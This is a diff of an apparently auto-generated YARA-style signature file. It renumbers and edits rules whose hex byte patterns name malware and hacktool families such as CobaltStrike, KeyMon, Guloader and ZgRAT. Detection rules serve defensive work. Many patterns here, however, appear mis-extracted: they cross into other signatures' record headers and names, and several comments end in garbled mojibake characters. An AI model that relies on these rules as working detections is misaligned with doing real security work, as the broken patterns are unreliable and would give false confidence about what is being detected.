+ description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 54 59 21 4d 54 42 00 01 00 19 03 4c 8b 11 4d 3b c2 74 90 01 01 48 ff c0 48 83 c1 90 01 01 48 3b c2 72 90 00 01 00 17 01 33 d2 48 } //21539 + $a_f7_1 = {0f b6 04 0a 41 30 04 1a 48 ff c3 49 3b d8 72 00 00 78 67 00 00 02 00 02 00 02 00 21 23 54 45 4c 50 45 52 3a 48 53 54 52 3a 57 69 6e 33 32 2f 49 43 4c 6f 61 64 65 72 00 01 00 1a 11 50 d8 c4 d8 c3 d3 d0 dc ca 58 d8 c2 d9 } //-15477 + condition: + ((#a_4c_0 & 1)*21539+(#a_f7_1 & 1)*-15477) >=2 + +} +rule _InfrastructureShared_6344{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -62736,7 +65889,7 @@ rule _InfrastructureShared_6040{ ((#a_4c_0 & 1)*21539+(#a_75_1 & 1)*17862) >=2 } -rule _InfrastructureShared_6041{ +rule _InfrastructureShared_6345{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -62747,7 +65900,7 @@ rule _InfrastructureShared_6041{ ((#a_72_0 & 1)*22051+(#a_68_1 & 1)*25951) >=2 } -rule _InfrastructureShared_6042{ +rule _InfrastructureShared_6346{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -62758,7 +65911,7 @@ rule _InfrastructureShared_6042{ ((#a_5f_0 & 1)*25635+(#a_57_1 & 1)*28257) >=2 } -rule _InfrastructureShared_6043{ +rule _InfrastructureShared_6347{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -62770,7 +65923,7 @@ rule _InfrastructureShared_6043{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*-28560+(#a_c4_2 & 1)*1026) >=2 } -rule _InfrastructureShared_6044{ +rule _InfrastructureShared_6348{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -62781,7 +65934,7 @@ rule _InfrastructureShared_6044{ ((#a_46_0 & 1)*16675+(#a_59_1 & 1)*400) >=3 } -rule _InfrastructureShared_6045{ +rule _InfrastructureShared_6349{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -62793,19 +65946,30 @@ rule _InfrastructureShared_6045{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*5664+(#a_00_2 & 1)*3) >=3 } -rule _InfrastructureShared_6046{ +rule _InfrastructureShared_6350{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 46 69 6c 65 63 6f 64 65 72 2e 41 41 21 4d 54 42 00 01 00 0a 81 01 7b 4b 45 59 31 31 31 31 31 7d 01 00 0e 81 01 62 65 65 6e 20 65 6e 63 72 79 70 74 65 64 01 00 1b 00 30 36 30 32 30 30 30 30 30 30 61 34 30 30 30 30 35 32 35 33 34 } //18467 - $a_30_1 = {30 00 00 78 67 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 47 46 4a 31 32 33 21 4d 54 42 00 01 00 } //13105 - $a_65_2 = {61 } //-32505 a + $a_30_1 = {30 00 00 78 67 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 58 30 31 21 4d 54 42 00 01 00 07 81 } //13105 + $a_65_2 = {76 67 74 01 00 1c 81 01 66 6f 72 73 67 73 70 65 72 69 6f 64 65 20 64 69 73 6b 6f 74 65 6b 73 67 73 74 65 72 01 00 0d 81 01 42 65 73 6b 72 69 76 65 72 2e 6d 65 64 00 00 78 67 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 47 46 4a 31 32 33 21 4d 54 42 00 01 00 07 } //25857 condition: - ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*13105+(#a_65_2 & 1)*-32505) >=3 + ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*13105+(#a_65_2 & 1)*25857) >=3 } -rule _InfrastructureShared_6047{ +rule _InfrastructureShared_6351{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 58 30 31 21 4d 54 42 00 01 00 07 81 01 65 67 65 6e 76 67 74 01 00 1c 81 01 66 6f 72 73 67 73 70 65 72 69 6f 64 65 20 64 69 73 6b 6f 74 65 6b 73 67 73 74 65 72 01 00 0d 81 01 42 65 73 6b 72 69 76 } //18467 + $a_6d_1 = {64 00 00 78 67 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 47 46 4a 31 32 33 21 4d 54 42 } //29285 d砀g̀̀̀℀䠣呓㩒楗㍮⼲畇潬摡牥䬮䙇ㅊ㌲䴡䉔 + condition: + ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*29285) >=3 + +} +rule _InfrastructureShared_6352{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -62816,7 +65980,7 @@ rule _InfrastructureShared_6047{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*25711) >=3 } -rule _InfrastructureShared_6048{ +rule _InfrastructureShared_6353{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -62828,7 +65992,7 @@ rule _InfrastructureShared_6048{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*26992+(#a_73_2 & 1)*28277) >=3 } -rule _InfrastructureShared_6049{ +rule _InfrastructureShared_6354{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -62839,7 +66003,7 @@ rule _InfrastructureShared_6049{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29540) >=3 } -rule _InfrastructureShared_6050{ +rule _InfrastructureShared_6355{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -62850,7 +66014,7 @@ rule _InfrastructureShared_6050{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*28488) >=3 } -rule _InfrastructureShared_6051{ +rule _InfrastructureShared_6356{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -62861,7 +66025,7 @@ rule _InfrastructureShared_6051{ ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*14386) >=3 } -rule _InfrastructureShared_6052{ +rule _InfrastructureShared_6357{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -62872,7 +66036,7 @@ rule _InfrastructureShared_6052{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*26996) >=3 } -rule _InfrastructureShared_6053{ +rule _InfrastructureShared_6358{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -62884,7 +66048,7 @@ rule _InfrastructureShared_6053{ ((#a_69_0 & 1)*19747+(#a_53_1 & 1)*26233+(#a_72_2 & 1)*29793) >=3 } -rule _InfrastructureShared_6054{ +rule _InfrastructureShared_6359{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -62897,7 +66061,7 @@ rule _InfrastructureShared_6054{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*30822+(#a_f8_2 & 1)*3535+(#a_01_3 & 1)*1) >=3 } -rule _InfrastructureShared_6055{ +rule _InfrastructureShared_6360{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -62910,7 +66074,7 @@ rule _InfrastructureShared_6055{ ((#a_54_0 & 1)*18467+(#a_84_1 & 1)*-29999+(#a_54_2 & 1)*18467+(#a_78_3 & 1)*20596) >=4 } -rule _InfrastructureShared_6056{ +rule _InfrastructureShared_6361{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -62922,7 +66086,7 @@ rule _InfrastructureShared_6056{ ((#a_54_0 & 1)*18467+(#a_78_1 & 1)*20596+(#a_00_3 & 1)*30720) >=4 } -rule _InfrastructureShared_6057{ +rule _InfrastructureShared_6362{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -62935,20 +66099,20 @@ rule _InfrastructureShared_6057{ ((#a_54_0 & 1)*18467+(#a_5a_1 & 1)*15617+(#a_2e_2 & 1)*25956+(#a_88_3 & 1)*257) >=4 } -rule _InfrastructureShared_6058{ +rule _InfrastructureShared_6363{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_46_0 = {57 69 6e 33 32 2f 45 69 76 65 65 74 2e 42 00 01 00 11 00 22 2c 22 74 63 22 3a 22 54 43 22 2c 22 6e 72 22 3a 01 00 0b 00 22 2c 22 72 65 73 75 6c 74 22 3a 01 00 0a 00 2f 69 6e 64 65 78 2e 70 68 70 01 00 14 03 74 61 73 6b 90 02 04 } //21283 $a_6d_1 = {6e 64 62 61 64 20 90 00 00 00 78 67 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 69 6b 65 79 2e 50 47 4d 21 4d 54 42 00 05 00 3a 03 4d 8d 40 01 f7 e9 c1 fa 90 01 01 8b c2 c1 e8 90 01 01 03 d0 0f be c2 6b d0 90 01 01 0f b6 c1 ff c1 2a c2 04 90 01 01 41 32 40 ff 34 90 01 01 41 88 40 ff 83 } //28515 - $a_cd_2 = {00 00 00 78 67 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 4e 44 21 4d 54 42 00 02 00 0c 01 4a 6a 6f 6b 56 36 34 34 62 39 5a 41 01 00 06 01 4d 56 55 76 4f 4d 01 00 0a 01 50 72 58 6a 34 34 30 37 43 35 01 00 0c 01 6a 6a 73 79 62 4a 76 68 78 65 46 74 00 00 78 67 00 00 05 00 05 00 05 00 21 23 41 4c } //8185 - $a_61_3 = {6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4b 65 79 4d 6f 6e 2e 41 21 4d 54 42 00 01 00 06 01 6d 30 6e 6b 33 79 01 00 07 01 64 72 30 70 70 33 72 01 00 08 01 2d 2d 74 75 6e 6e 65 6c 01 00 08 01 2d 2d 73 65 72 76 65 72 01 00 } //14918 + $a_cd_2 = {00 00 00 78 67 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 4e 44 21 4d 54 42 00 02 00 0c 01 4a 6a 6f 6b 56 36 34 34 62 39 5a 41 01 00 06 01 4d 56 55 76 4f 4d 01 00 0a 01 50 72 58 6a 34 34 30 37 43 35 01 00 0c 01 6a 6a 73 79 62 4a 76 68 78 65 46 74 00 00 78 67 00 00 05 00 05 00 04 00 21 23 50 55 } //8185 + $a_6c_3 = {63 6b 3a 49 6e 73 74 61 6c 6c 4d 61 74 65 00 02 00 13 80 01 77 77 77 2e 69 6e 73 74 61 6c 6c 6d 61 74 65 2e 63 6f 6d 01 00 0a 80 01 54 69 6e 44 65 6c 2e 70 64 62 01 00 0d 80 01 73 63 68 65 64 75 6c } //14913 condition: - ((#a_46_0 & 1)*21283+(#a_6d_1 & 1)*28515+(#a_cd_2 & 1)*8185+(#a_61_3 & 1)*14918) >=4 + ((#a_46_0 & 1)*21283+(#a_6d_1 & 1)*28515+(#a_cd_2 & 1)*8185+(#a_6c_3 & 1)*14913) >=4 } -rule _InfrastructureShared_6059{ +rule _InfrastructureShared_6364{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -62958,20 +66122,45 @@ rule _InfrastructureShared_6059{ ((#a_4c_0 & 1)*21539) >=5 } -rule _InfrastructureShared_6060{ +rule _InfrastructureShared_6365{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 4e 44 21 4d 54 42 00 02 00 0c 01 4a 6a 6f 6b 56 36 34 34 62 39 5a 41 01 00 06 01 4d 56 55 76 4f 4d 01 00 0a 01 50 72 58 6a 34 34 30 37 43 35 01 00 0c } //16675 - $a_73_1 = {62 4a 76 68 78 65 46 74 00 00 78 67 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4b 65 79 4d 6f 6e 2e 41 21 4d 54 42 00 01 00 06 01 6d 30 6e 6b 33 79 01 00 07 01 64 72 30 70 70 33 72 01 00 08 01 2d 2d 74 75 6e 6e 65 6c 01 00 08 01 2d 2d 73 65 72 76 65 72 01 00 0c 01 73 74 61 } //27137 - $a_22_2 = {22 52 55 4e 00 00 78 67 00 00 06 00 06 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 67 52 41 54 2e 4e 41 21 4d 54 42 00 05 00 2e 03 6f da 00 00 0a 16 8c 90 01 01 00 00 01 14 6f 90 01 01 00 00 0a 26 20 90 01 01 00 00 00 7e 90 01 01 03 00 04 7b 90 01 01 03 00 04 39 90 00 01 00 0a 01 45 6c 6a 6c 72 65 2e 65 78 65 00 00 78 67 } //30068 - $a_00_3 = {0a 00 01 00 21 23 41 4c 46 3a } //0 + $a_73_1 = {62 4a 76 68 78 65 46 74 00 00 78 67 00 00 05 00 05 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 49 6e 73 74 61 6c 6c 4d 61 74 65 00 02 00 13 80 01 77 77 77 2e 69 6e 73 74 61 6c 6c 6d 61 74 65 2e 63 6f 6d 01 00 0a 80 01 54 69 6e 44 65 6c 2e 70 64 62 01 00 0d 80 01 73 63 68 65 64 75 6c 65 72 2e 69 6e 69 01 00 09 80 01 } //27137 + $a_70_2 = {66 66 65 72 00 00 78 67 00 00 05 00 05 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 57 65 77 73 38 37 00 02 00 0f 80 01 64 2e 77 61 6e 79 6f 75 78 69 37 2e 63 6f 6d 01 00 0a 80 01 33 37 6a 7a 63 71 2e 65 78 65 01 00 15 80 01 6a 7a 63 71 2f 6f 66 66 69 63 69 61 6c 2f 61 70 70 2e 69 6e 69 01 00 0a 80 01 6c 61 6e 64 } //27475 + $a_70_3 = {62 00 00 78 67 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4b 65 79 4d 6f 6e 2e 41 21 4d 54 42 } //29285 b砀gԀԀԀ℀䄣䙌䠺捡呫潯㩬楗㍮⼲敋䵹湯䄮䴡䉔 condition: - ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*27137+(#a_22_2 & 1)*30068+(#a_00_3 & 1)*0) >=5 + ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*27137+(#a_70_2 & 1)*27475+(#a_70_3 & 1)*29285) >=5 } -rule _InfrastructureShared_6061{ +rule _InfrastructureShared_6366{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_41_0 = {42 6c 6f 63 6b 3a 49 6e 73 74 61 6c 6c 4d 61 74 65 00 02 00 13 80 01 77 77 77 2e 69 6e 73 74 61 6c 6c 6d 61 74 65 2e 63 6f 6d 01 00 0a 80 01 54 69 6e 44 65 6c 2e 70 64 62 01 00 0d 80 01 73 63 68 65 64 75 6c 65 72 2e 69 6e 69 01 00 09 80 01 53 6b 69 70 4f } //20515 + $a_72_1 = {00 78 67 00 00 05 00 05 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 57 65 77 73 38 37 00 02 00 0f 80 01 64 2e 77 61 6e 79 6f 75 78 69 37 2e 63 6f 6d 01 00 0a 80 01 33 37 6a 7a 63 71 2e 65 78 65 01 00 15 80 01 6a 7a 63 71 2f 6f 66 66 69 63 69 61 6c 2f 61 70 70 2e 69 6e 69 01 00 0a 80 01 6c 61 6e 64 65 } //26214 + $a_64_2 = {00 00 78 67 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4b 65 79 4d 6f 6e 2e 41 21 4d 54 42 00 01 00 06 01 6d 30 6e 6b 33 79 01 00 07 01 64 72 30 70 70 33 72 01 00 08 01 2d 2d 74 75 6e 6e 65 6c 01 00 08 01 2d 2d 73 65 72 76 65 72 01 00 0c 01 73 74 61 74 75 73 22 3a 22 52 55 4e 00 00 78 67 00 } //11890 + condition: + ((#a_41_0 & 1)*20515+(#a_72_1 & 1)*26214+(#a_64_2 & 1)*11890) >=5 + +} +rule _InfrastructureShared_6367{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_41_0 = {42 6c 6f 63 6b 3a 57 65 77 73 38 37 00 02 00 0f 80 01 64 2e 77 61 6e 79 6f 75 78 69 37 2e 63 6f 6d 01 00 0a 80 01 33 37 6a 7a 63 71 2e 65 78 65 01 00 15 80 01 6a 7a 63 71 2f 6f 66 66 69 63 69 61 6c 2f 61 70 70 2e 69 6e 69 01 00 0a 80 01 6c 61 6e 64 65 72 } //20515 + $a_62_1 = {00 78 67 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4b 65 79 4d 6f 6e 2e 41 21 4d 54 42 00 01 00 06 01 6d 30 6e 6b 33 79 01 00 07 01 64 72 30 70 70 33 72 01 00 08 01 2d 2d 74 75 6e 6e 65 6c 01 00 08 01 2d 2d 73 65 72 76 65 72 01 00 0c 01 73 74 61 74 75 73 } //28718 + $a_52_2 = {4e 00 00 78 67 00 00 06 00 06 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 67 52 } //14882 + $a_4e_3 = {21 4d 54 42 00 05 00 2e 03 6f da 00 00 0a 16 8c 90 01 01 00 00 01 14 6f 90 01 01 00 00 0a 26 20 90 01 01 00 00 00 7e 90 01 01 03 00 04 7b } //21569 + condition: + ((#a_41_0 & 1)*20515+(#a_62_1 & 1)*28718+(#a_52_2 & 1)*14882+(#a_4e_3 & 1)*21569) >=5 + +} +rule _InfrastructureShared_6368{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -62985,7 +66174,7 @@ rule _InfrastructureShared_6061{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*29441+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720) >=5 } -rule _InfrastructureShared_6062{ +rule _InfrastructureShared_6369{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " @@ -62996,7 +66185,7 @@ rule _InfrastructureShared_6062{ ((#a_46_0 & 1)*16675+(#a_45_1 & 1)*2560) >=6 } -rule _InfrastructureShared_6063{ +rule _InfrastructureShared_6370{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -63006,7 +66195,7 @@ rule _InfrastructureShared_6063{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_6064{ +rule _InfrastructureShared_6371{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -63016,7 +66205,7 @@ rule _InfrastructureShared_6064{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_6065{ +rule _InfrastructureShared_6372{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -63026,7 +66215,7 @@ rule _InfrastructureShared_6065{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_6066{ +rule _InfrastructureShared_6373{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -63036,7 +66225,7 @@ rule _InfrastructureShared_6066{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_6067{ +rule _InfrastructureShared_6374{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -63046,7 +66235,7 @@ rule _InfrastructureShared_6067{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_6068{ +rule _InfrastructureShared_6375{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -63056,7 +66245,17 @@ rule _InfrastructureShared_6068{ ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_6069{ +rule _InfrastructureShared_6376{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4e 50 50 53 70 79 2e 44 41 21 4d 54 42 00 0a 00 3a 03 0f be 84 04 90 01 04 89 44 24 50 48 63 4c 24 40 33 d2 48 8b c1 b9 90 01 04 48 f7 f1 48 8b c2 0f be 44 04 58 8b 4c } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=10 + +} +rule _InfrastructureShared_6377{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 21 " @@ -63067,7 +66266,7 @@ rule _InfrastructureShared_6069{ ((#a_54_0 & 1)*18467+(#a_00_4 & 1)*11) >=10 } -rule _InfrastructureShared_6070{ +rule _InfrastructureShared_6378{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " @@ -63078,7 +66277,7 @@ rule _InfrastructureShared_6070{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*-31484) >=11 } -rule _InfrastructureShared_6071{ +rule _InfrastructureShared_6379{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 21 " @@ -63090,7 +66289,7 @@ rule _InfrastructureShared_6071{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*28261+(#a_54_3 & 1)*8448) >=11 } -rule _InfrastructureShared_6072{ +rule _InfrastructureShared_6380{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -63101,7 +66300,7 @@ rule _InfrastructureShared_6072{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*10) >=20 } -rule _InfrastructureShared_6073{ +rule _InfrastructureShared_6381{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -63112,7 +66311,7 @@ rule _InfrastructureShared_6073{ ((#a_6f_0 & 1)*21539+(#a_6c_1 & 1)*28500) >=20 } -rule _InfrastructureShared_6074{ +rule _InfrastructureShared_6382{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -63123,7 +66322,7 @@ rule _InfrastructureShared_6074{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*25345) >=200 } -rule _InfrastructureShared_6075{ +rule _InfrastructureShared_6383{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -63133,7 +66332,7 @@ rule _InfrastructureShared_6075{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6076{ +rule _InfrastructureShared_6384{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -63143,7 +66342,7 @@ rule _InfrastructureShared_6076{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6077{ +rule _InfrastructureShared_6385{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -63153,7 +66352,7 @@ rule _InfrastructureShared_6077{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6078{ +rule _InfrastructureShared_6386{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -63163,7 +66362,7 @@ rule _InfrastructureShared_6078{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6079{ +rule _InfrastructureShared_6387{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -63173,7 +66372,7 @@ rule _InfrastructureShared_6079{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6080{ +rule _InfrastructureShared_6388{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -63183,7 +66382,7 @@ rule _InfrastructureShared_6080{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6081{ +rule _InfrastructureShared_6389{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -63193,7 +66392,7 @@ rule _InfrastructureShared_6081{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6082{ +rule _InfrastructureShared_6390{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -63203,7 +66402,7 @@ rule _InfrastructureShared_6082{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6083{ +rule _InfrastructureShared_6391{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -63213,7 +66412,7 @@ rule _InfrastructureShared_6083{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6084{ +rule _InfrastructureShared_6392{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -63223,7 +66422,7 @@ rule _InfrastructureShared_6084{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6085{ +rule _InfrastructureShared_6393{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -63233,7 +66432,7 @@ rule _InfrastructureShared_6085{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6086{ +rule _InfrastructureShared_6394{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -63243,7 +66442,7 @@ rule _InfrastructureShared_6086{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6087{ +rule _InfrastructureShared_6395{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -63253,7 +66452,7 @@ rule _InfrastructureShared_6087{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6088{ +rule _InfrastructureShared_6396{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -63263,7 +66462,7 @@ rule _InfrastructureShared_6088{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6089{ +rule _InfrastructureShared_6397{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -63273,7 +66472,7 @@ rule _InfrastructureShared_6089{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6090{ +rule _InfrastructureShared_6398{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -63283,7 +66482,7 @@ rule _InfrastructureShared_6090{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6091{ +rule _InfrastructureShared_6399{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -63293,7 +66492,17 @@ rule _InfrastructureShared_6091{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6092{ +rule _InfrastructureShared_6400{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {45 52 3a 